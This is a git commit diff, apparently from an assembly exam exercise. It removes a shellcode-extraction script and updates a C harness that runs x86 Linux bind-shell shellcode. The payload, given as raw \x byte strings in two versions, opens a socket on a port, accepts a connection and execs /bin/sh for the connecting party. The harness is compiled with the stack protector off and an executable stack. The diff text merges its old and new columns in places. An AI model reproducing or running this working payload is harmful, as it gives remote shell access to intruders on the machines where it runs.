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Significantly improved compile.sh and renamed it to compile_all.sh. Now it is much more easy to configure the port\!

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This commit is contained in:
arno01 2013-03-11 23:00:54 +01:00
parent 038c72e17a
commit af6a1785b3
2 changed files with 1 additions and 17 deletions
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6
exam1/compile.sh
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@ -1,6 +0,0 @@
#!/usr/bin/env sh
ARG1=$1
set -x
nasm -f elf32 -o $ARG1.o $ARG1.nasm && ld -m elf_i386 -o $ARG1 $ARG1.o \
&& set +x && echo "Shellcode: " && objdump -d ./$1 |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

12
exam1/shellcode.c
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@ -1,16 +1,7 @@
/*
To compile:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
*/
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
unsigned char code[] = \ unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff";
//"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x6d\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\x8e\xff\xff\xff\xaa\xff";
"\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x50\x5f\x6a\x66\x58\x43\x31\xd2\x52\x66\xff\x37\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\xe8\xab\xff\xff\xff\xaa\xff";
main() main()
{ {
@ -20,4 +11,3 @@ main()
ret(); ret();
} }